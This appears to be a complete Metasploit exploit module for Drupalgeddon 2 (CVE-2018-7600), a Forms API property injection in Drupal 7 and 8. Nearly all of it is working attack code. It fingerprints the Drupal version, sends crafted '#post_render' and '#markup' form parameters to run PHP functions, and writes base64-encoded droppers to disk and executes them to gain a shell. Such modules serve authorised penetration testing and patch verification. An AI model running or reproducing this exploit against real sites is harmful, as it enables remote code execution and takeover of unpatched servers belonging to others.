This Metasploit module exploits a Drupal property injection in the Forms API. Drupal versions 6.x, less than 7.58, 8.2.x, less than 8.3.9, less than 8.4.6, and less than 8.5.1 are vulnerable.
aff887450f5903c1a65d6723f30ba5b0##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
# XXX: CmdStager can't handle badchars
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
'Description' => %q{
This module exploits a Drupal property injection in the Forms API.
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
},
'Author' => [
'Jasper Mattsson', # Vulnerability discovery
'a2u', # Proof of concept (Drupal 8.x)
'Nixawk', # Proof of concept (Drupal 8.x)
'FireFart', # Proof of concept (Drupal 7.x)
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-7600'],
['URL', 'https://www.drupal.org/sa-core-2018-002'],
['URL', 'https://greysec.net/showthread.php?tid=2912'],
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
['URL', 'https://github.com/a2u/CVE-2018-7600'],
['URL', 'https://github.com/nixawk/labs/issues/19'],
['URL', 'https://github.com/FireFart/CVE-2018-7600'],
['AKA', 'SA-CORE-2018-002'],
['AKA', 'Drupalgeddon 2']
],
'DisclosureDate' => 'Mar 28 2018',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Payload' => {'BadChars' => '&>\''},
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
'Targets' => [
#
# Automatic targets (PHP, cmd/unix, native)
#
['Automatic (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory
],
['Automatic (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_dropper
],
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
],
#
# Drupal 7.x targets (PHP, cmd/unix, native)
#
['Drupal 7.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7.x'),
'Type' => :php_memory
],
['Drupal 7.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7.x'),
'Type' => :php_dropper
],
['Drupal 7.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('7.x'),
'Type' => :unix_memory
],
['Drupal 7.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('7.x'),
'Type' => :linux_dropper
],
#
# Drupal 8.x targets (PHP, cmd/unix, native)
#
['Drupal 8.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8.x'),
'Type' => :php_memory
],
['Drupal 8.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8.x'),
'Type' => :php_dropper
],
['Drupal 8.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('8.x'),
'Type' => :unix_memory
],
['Drupal 8.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('8.x'),
'Type' => :linux_dropper
]
],
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
'DefaultOptions' => {'WfsDelay' => 2}
))
register_options([
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
end
def check
checkcode = CheckCode::Safe
if drupal_version
print_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
else
print_error('Could not determine Drupal version to target')
return CheckCode::Unknown
end
if drupal_unpatched?
print_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
end
token = random_crap
res = execute_command(token, func: 'printf')
if res && res.body.start_with?(token)
checkcode = CheckCode::Vulnerable
end
checkcode
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
# XXX: Naughty datastore modification
datastore['DUMP_OUTPUT'] = true
end
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
case target['Type']
when :php_memory
execute_command(payload.encoded, func: 'assert')
sleep(wfs_delay)
return if session_created?
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
when :unix_memory
execute_command(payload.encoded)
when :php_dropper, :linux_dropper
dropper_assert
sleep(wfs_delay)
return if session_created?
dropper_exec
end
end
def dropper_assert
php_file = Pathname.new(
"#{datastore['WritableDir']}/#{random_crap}.php"
).cleanpath
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# Stage 1 decodes the PHP and writes it to disk
stage1 = %Q{
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
}
# Stage 2 executes said PHP in-process
stage2 = %Q{
include_once("#{php_file}");
}
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Hopefully pop our shell with assert()
execute_command(stage1.strip, func: 'assert')
execute_command(stage2.strip, func: 'assert')
end
def dropper_exec
php_file = "#{random_crap}.php"
tmp_file = Pathname.new(
"#{datastore['WritableDir']}/#{php_file}"
).cleanpath
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Write the payload or dropper to disk (!)
# NOTE: Analysis indicates > is a badchar for 8.x
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
# Attempt in-process execution of our PHP script
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, php_file)
)
sleep(wfs_delay)
return if session_created?
# Try to get a shell with PHP CLI
execute_command("php #{php_file}")
sleep(wfs_delay)
return if session_created?
register_file_for_cleanup(tmp_file)
# Fall back on our temp file
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
execute_command("php #{tmp_file}")
end
def execute_command(cmd, opts = {})
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
vprint_status("Executing with #{func}(): #{cmd}")
res =
case @version.to_s
when '7.x'
exploit_drupal7(func, cmd)
when '8.x'
exploit_drupal8(func, cmd)
end
if res && res.code != 200
print_error("Unexpected reply: #{res.inspect}")
return
end
if res && datastore['DUMP_OUTPUT']
print_line(res.body)
end
res
end
def drupal_version
if target['Version']
@version = target['Version']
return @version
end
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path
)
return unless res && res.code == 200
# Check for an X-Generator header
@version =
case res.headers['X-Generator']
when /Drupal 7/
Gem::Version.new('7.x')
when /Drupal 8/
Gem::Version.new('8.x')
end
return @version if @version
# Check for a <meta> tag
generator = res.get_html_document.at(
'//meta[@name = "Generator"]/@content'
)
return unless generator
@version =
case generator.value
when /Drupal 7/
Gem::Version.new('7.x')
when /Drupal 8/
Gem::Version.new('8.x')
end
end
def drupal_unpatched?
unpatched = true
# Check for patch level in CHANGELOG.txt
uri =
case @version.to_s
when '7.x'
normalize_uri(target_uri.path, 'CHANGELOG.txt')
when '8.x'
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
end
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
if res.body.include?('SA-CORE-2018-002')
unpatched = false
end
unpatched
end
def exploit_drupal7(func, code)
vars_get = {
'q' => 'user/password',
'name[#post_render][]' => func,
'name[#markup]' => code,
'name[#type]' => 'markup'
}
vars_post = {
'form_id' => 'user_pass',
'_triggering_element_name' => 'name'
}
res = send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'vars_get' => vars_get,
'vars_post' => vars_post
)
return res unless res && res.code == 200
form_build_id = res.get_html_document.at(
'//input[@name = "form_build_id"]/@value'
)
return res unless form_build_id
vars_get = {
'q' => "file/ajax/name/#value/#{form_build_id.value}"
}
vars_post = {
'form_build_id' => form_build_id.value
}
send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
def exploit_drupal8(func, code)
# Clean URLs are enabled by default and "can't" be disabled
uri = normalize_uri(target_uri.path, 'user/register')
vars_get = {
'element_parents' => 'account/mail/#value',
'ajax_form' => 1,
'_wrapper_format' => 'drupal_ajax'
}
vars_post = {
'form_id' => 'user_register_form',
'_drupal_ajax' => 1,
'mail[#type]' => 'markup',
'mail[#post_render][]' => func,
'mail[#markup]' => code
}
send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
def random_crap
Rex::Text.rand_text_alphanumeric(8..42)
end
end